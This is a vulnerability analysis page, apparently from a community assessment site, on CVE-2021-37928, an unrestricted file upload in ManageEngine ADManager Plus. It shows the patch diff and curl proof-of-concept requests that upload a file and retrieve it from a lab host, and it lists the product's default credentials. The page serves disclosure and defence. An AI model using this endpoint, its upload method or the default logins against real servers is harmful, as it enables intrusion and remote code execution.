Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2021-37928

Disclosure Date: October 07, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Zoho ManageEngine ADManager Plus version 7110 and prior allows unrestricted file upload which leads to remote code execution.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

The affected endpoint is /RestAPI/WC/NotificationTemplate/attachFiles with parameter UPLOADED_FILE. The vulnerability can be exploited as the SYSTEM user if the server is started as a service.

Patch

File(name) extension is now validated against an allowlist.

+		<url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true">
+			<file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx">
+				<filename regex="allowedFileNameChars" max-len="255"/>
+			</file>
+		</url>
   public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception {
     JSONObject responseObj = new JSONObject();
     ADSResourceBundle rb = null;
     Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId();
     try {
       rb = I18N.getInstance().getBundle(userId);
       JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE");
       if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) {
-        String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
-        String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
-        InputStream is = null;
-        OutputStream os = null;
-        try {
-          File inputFile = (File)fileDetails.get("FILE");
-          is = new FileInputStream(inputFile);
-          os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
-          byte[] buffer = new byte[(int)inputFile.length()];
-          int length;
-          while ((length = is.read(buffer)) > 0)
-            os.write(buffer, 0, length);
-        } catch (Exception fileException) {
-          logger.log(Level.INFO, "Exception while file operations", fileException);
-        } finally {
-          if (is != null)
-            is.close();
-          if (os != null)
-            os.close();
+        boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L);
+        if (isValidfileExtension) {
+          String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
+          String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
+          InputStream is = null;
+          OutputStream os = null;
+          try {
+            File inputFile = (File)fileDetails.get("FILE");
+            is = new FileInputStream(inputFile);
+            os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
+            byte[] buffer = new byte[(int)inputFile.length()];
+            int length;
+            while ((length = is.read(buffer)) > 0)
+              os.write(buffer, 0, length);
+          } catch (Exception fileException) {
+            logger.log(Level.INFO, "Exception while file operations", fileException);
+          } finally {
+            if (is != null)
+              is.close();
+            if (os != null)
+              os.close();
+          }
+          String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
+          responseObj.put("FILE_NAME", fileName);
+          responseObj.put("FILE_URL", fileURL);
+          responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
         }
-        String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
-        responseObj.put("FILE_NAME", fileName);
-        responseObj.put("FILE_URL", fileURL);
-        responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
       } else {
         responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       }
     } catch (Exception e) {
       responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       logger.log(Level.INFO, e.getMessage(), e);
     }
     CommonUtil.setResponseText(response, responseObj.toString());
     return null;
   }
 package com.manageengine.ads.fw.common.util;

 import com.adventnet.iam.security.SecurityRequestWrapper;
+import com.adventnet.iam.security.UploadFileRule;
 import com.adventnet.iam.security.UploadedFileItem;
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStreamReader;
 import java.util.List;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import javax.servlet.http.HttpServletRequest;
 import org.apache.commons.fileupload.FileItem;
 import org.apache.commons.fileupload.FileItemFactory;
 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
 import org.apache.commons.fileupload.servlet.ServletFileUpload;
 import org.apache.commons.io.FilenameUtils;
 import org.json.JSONObject;

 public class FileUtil {
   private static Logger logger = Logger.getLogger("ADSLogger");

+  public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] {
+      "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg",
+      "bmp", "svgz", "webp", "ico", "xbm", "dib" };
+
+  public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" };
+
+  public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" };
+
+  public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$";
+
   public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) {
     JSONObject json = new JSONObject();
     File file = null;
     String fileName = null;
     Long fileSize = null;
     try {
       if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) {
         SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest;
         UploadedFileItem item = secrequest.getMultipartParameter(paramName);
         if (item != null) {
           file = item.getUploadedFile();
           fileName = item.getFileName();
           fileSize = Long.valueOf(item.getFileSize());
         }
         json.put("FILE", file);
         json.put("FILE_NAME", fileName);
         json.put("FILE_SIZE", fileSize);
       } else {
         List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest);
         json = getFileFromMultipartRequest(multiparts, paramName);
       }
     } catch (Exception e) {
       logger.log(Level.INFO, "Error in getting the file from request ");
     }
     return json;
   }

   public static String getFileContent(File file, String delimiter) {
     BufferedReader bufRead = null;
     String ret = null;
     try {
       StringBuffer outBuf = new StringBuffer();
       InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8");
       bufRead = new BufferedReader(is);
       boolean startWrite = false;
       String line = bufRead.readLine();
       while (line != null) {
         if (delimiter != null && !delimiter.equals("")) {
           if (line.contains(delimiter))
             startWrite = true;
           if (startWrite)
             outBuf.append(line);
           if (line.contains("/" + delimiter))
             startWrite = false;
         } else {
           outBuf.append(line);
         }
         line = bufRead.readLine();
       }
       ret = outBuf.toString();
     } catch (Exception e) {
       logger.log(Level.INFO, "", e);
     } finally {
       try {
         if (bufRead != null)
           bufRead.close();
       } catch (Exception e) {
         logger.log(Level.INFO, "Error : " + e);
       }
     }
     return ret;
   }

   public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) {
     JSONObject file = new JSONObject();
     try {
       for (FileItem item : multiparts) {
         if (!item.isFormField() && item.getFieldName().equals(paramName)) {
           String fileName = FilenameUtils.getName(item.getName());
           File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
           storeFile.deleteOnExit();
           item.write(storeFile);
           file.put("FILE", storeFile);
           file.put("FILE_NAME", fileName);
           file.put("FILE_SIZE", item.getSize());
           break;
         }
       }
     } catch (Exception e) {
       e.printStackTrace();
     }
     return file;
   }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) {
+    if (fileName != null) {
+      UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex);
+      return uploadFileRule.validateExtension(fileName);
+    }
+    return false;
+  }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) {
+    return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
 }

PoC

Note that I’ve already logged in. Default accounts/creds are available.

wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892
> Content-Length: 198
> Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly
< Cache-Control: no-cache, no-store
< Pragma: no-cache
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< vary: accept-encoding
< Content-Type: text/html;charset=UTF-8
< Content-Length: 155
< Date: Mon, 29 Nov 2021 03:44:11 GMT
< Server: ADMP
<
* Connection #0 to host 172.16.57.222 left intact
{"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-FRAME-OPTIONS: SAMEORIGIN
< Accept-Ranges: bytes
< ETag: W/"4-1638157451470"
< Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Mon, 29 Nov 2021 03:45:33 GMT
< Server: ADMP
<
bar
* Connection #0 to host 172.16.57.222 left intact
wvu@kharak:~$

Default creds…

Please change all these creds! Only the admin account is clearly documented.

  • admin : admin
  • helpdesk : admin
  • hrassociate : admin
CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Additional Info

Technical Analysis